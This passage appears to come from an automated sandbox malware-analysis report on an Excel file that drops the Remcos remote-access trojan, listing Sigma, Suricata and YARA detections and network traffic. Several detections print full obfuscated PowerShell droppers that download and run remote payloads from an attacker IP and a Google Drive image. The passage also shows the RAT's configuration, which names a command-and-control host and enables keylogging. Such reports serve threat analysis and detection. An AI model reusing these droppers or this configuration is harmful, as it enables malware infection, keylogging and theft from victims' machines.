iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 808, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs" , ProcessId: 3876, ProcessName: wscript.exe
                Sigma detected: Dynamic CSharp Compile Artefact
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3932, TargetFilename: C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline
                Sigma detected: Modification of IE Registry Settings
                Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3560, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", CommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgI
                Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1
                Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3932, TargetFilename: C:\Users\user\AppData\Local\Temp\bmolkgsr.w3a.ps1

                Data Obfuscation

                barindex
                Sigma detected: Dot net compiler compiles file from suspicious location
                Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3932, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline", ProcessId: 3148, ProcessName: csc.exe

                Stealing of Sensitive Information

                barindex
                Sigma detected: Remcos
                Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ProcessId: 3280, TargetFilename: C:\ProgramData\remcos\logs.dat

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:30:35.516391+010020241971A Network Trojan was detected192.3.101.2180192.168.2.2249164TCP
                2024-10-29T16:30:38.683171+010020241971A Network Trojan was detected192.3.101.2180192.168.2.2249166TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:30:35.516390+010020244491Attempted User Privilege Gain192.168.2.2249164192.3.101.2180TCP
                2024-10-29T16:30:38.683159+010020244491Attempted User Privilege Gain192.168.2.2249166192.3.101.2180TCP
                2024-10-29T16:31:02.126037+010020244491Attempted User Privilege Gain192.168.2.2249171192.3.101.2180TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:31:41.296245+010020204231Exploit Kit Activity Detected192.3.101.2180192.168.2.2249175TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:31:41.296245+010020204251Exploit Kit Activity Detected192.3.101.2180192.168.2.2249175TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:31:52.711829+010020365941Malware Command and Control Activity Detected192.168.2.2249176192.3.101.1939674TCP
                2024-10-29T16:31:53.859181+010020365941Malware Command and Control Activity Detected192.168.2.2249177192.3.101.1939674TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:31:29.220187+010020490381A Network Trojan was detected172.217.16.193443192.168.2.2249174TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:31:54.063789+010028033043Unknown Traffic192.168.2.2249178178.237.33.5080TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:31:44.765958+010028582951A Network Trojan was detected192.3.101.2180192.168.2.2249175TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-29T16:30:33.274127+010028587951A Network Trojan was detected192.168.2.2249167192.3.101.2180TCP
                2024-10-29T16:31:07.991764+010028587951A Network Trojan was detected192.168.2.2249172192.3.101.2180TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Found malware configuration
                Source: 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["cokka.duckdns.org:9764:1", "cokka.duckdns.org:9674:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-TTZ00A", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
                Multi AV Scanner detection for submitted file
                Source: 0001.xlsReversingLabs: Detection: 23%
                Yara detected Remcos RAT
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656033427.00000000007BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656339540.0000000000831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Machine Learning detection for sample
                Source: 0001.xlsJoe Sandbox ML: detected
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,26_2_004338C8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00404423 GetProcAddress,FreeLibrary,CryptUnprotectData,28_2_00404423
                Source: CasPol.exeBinary or memory string: -----BEGIN PUBLIC KEY-----

                Exploits

                barindex
                Yara detected UAC Bypass using CMSTP
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTR

                Privilege Escalation

                barindex
                Contains functionality to bypass UAC (CMSTPLUA)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00407538 _wcslen,CoGetObject,26_2_00407538
                Source: unknownHTTPS traffic detected: 142.250.184.206:443 -> 192.168.2.22:49173 version: TLS 1.0
                Source: unknownHTTPS traffic detected: 172.217.16.193:443 -> 192.168.2.22:49174 version: TLS 1.0
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: unknownHTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49163 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49165 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49170 version: TLS 1.2
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.pdb source: powershell.exe, 0000000E.00000002.494152955.00000000025C8000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.pdbhP source: powershell.exe, 0000000E.00000002.494152955.000000000275A000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: gement.Automation.pdbdbe source: powershell.exe, 00000005.00000002.450932225.000000001C349000.00000004.00000020.00020000.00000000.sdmp
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,26_2_0040928E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,26_2_0041C322
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,26_2_0040C388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,26_2_004096A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,26_2_00408847
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00407877 FindFirstFileW,FindNextFileW,26_2_00407877
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0044E8F9 FindFirstFileExA,26_2_0044E8F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,26_2_0040BB6B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,26_2_00419B86
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,26_2_0040BD72
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,26_2_100010F1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_10006580 FindFirstFileExA,26_2_10006580
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040AE51 FindFirstFileW,FindNextFileW,28_2_0040AE51
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,29_2_00407EF8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,30_2_00407898
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,26_2_00407CD2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\

                Software Vulnerabilities

                barindex
                Document exploit detected (process start blacklist hit)
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe
                Suspicious execution chain found
                Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                Source: global trafficDNS query: name: acesso.run
                Source: global trafficDNS query: name: acesso.run
                Source: global trafficDNS query: name: acesso.run
                Source: global trafficDNS query: name: drive.google.com
                Source: global trafficDNS query: name: drive.usercontent.google.com
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: cokka.duckdns.org
                Source: global trafficDNS query: name: geoplugin.net
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 104.21.74.191:443
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
                Source: global trafficTCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
